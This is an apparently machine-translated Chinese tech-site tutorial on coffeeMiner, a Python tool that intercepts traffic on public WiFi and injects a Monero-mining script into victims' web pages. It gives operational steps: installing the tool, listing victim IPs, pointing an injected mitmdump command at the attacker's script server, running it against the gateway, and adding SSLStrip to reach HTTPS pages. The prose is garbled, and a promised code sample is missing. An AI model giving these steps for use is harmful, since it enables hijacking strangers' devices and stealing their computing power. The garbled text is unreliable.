Get the App
SLTechnology News&Howtos  ›  Internet Technology  › 

How to use Public WiFi to excavate Mineral Resources in Python

Shulou Source: shulou.com Published: 2022-06-02 02:48:59 09月29日 Update

Python how to use public WiFi mining, many novices are not very clear about this, in order to help you solve this problem, the following editor will explain for you in detail, people with this need can come to learn, I hope you can gain something.

What is mining? As long as you join the mining pool and provide a certain amount of math, you can make a profit. For example, in the poolin mining pool, the daily income of 1TH calculation is 1.15 yuan. If you have a 16TH mining machine, the daily income is 1.15 yuan, 16 yuan, 18.4 yuan. Of course, the net profit is excluding the cost of electricity. But the cost of mining machine can not be ignored, the price of a brand new 16TH mining machine is about 3000 yuan, and the second-hand machine is close to 1000 yuan. If you buy a used mining machine from 16TH, it will take you nearly 54 days to get your money back. It would be very comfortable to "borrow" the math power of others for mining. So, a developer in Spain named Arnault thought, can we use the public wifi network for mining?

This is the use of coffeeMiner scripts, which use the principle of man-in-the-middle attacks to inject HTML code similar to the following into non-HTTPS web pages.

Once the script is loaded, it executes the java code on the server, turns the machine into a miner, extracts CPU time, and uses mining software to mine a cryptocurrency named Monero.

The drawback, however, is that requests to HTTPS pages don't work, and SSLStrip can make up for this. The whole script is written by Python, if you are interested, you can visit this project: coffeeMiner

A simple tutorial for using the project:

1. Execute the installation script: install.sh

Bash install.sh

two。 Edit victims.txt, one IP per line

3. Edit coffeeMiner.py, line 28, and change 10.0.2.20 to the IP of your miner's server:

Os.system ("~ / .local/bin/mitmdump-s' injector.py http://10.0.2.20:8000/script.js'-T")

4. Execute coffeeMiner.py

Python3 coffeeMiner.py ipgateway

Is it helpful for you to read the above content? If you want to know more about the relevant knowledge or read more related articles, please follow the industry information channel, thank you for your support.

Tags: Script revenue code that is cost server miner project help service clear comfortable this is not one line up and down can not be ignored middleman personnel RMB role Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Shulou Tech Info Shulou Information Linux MySQL MariaDB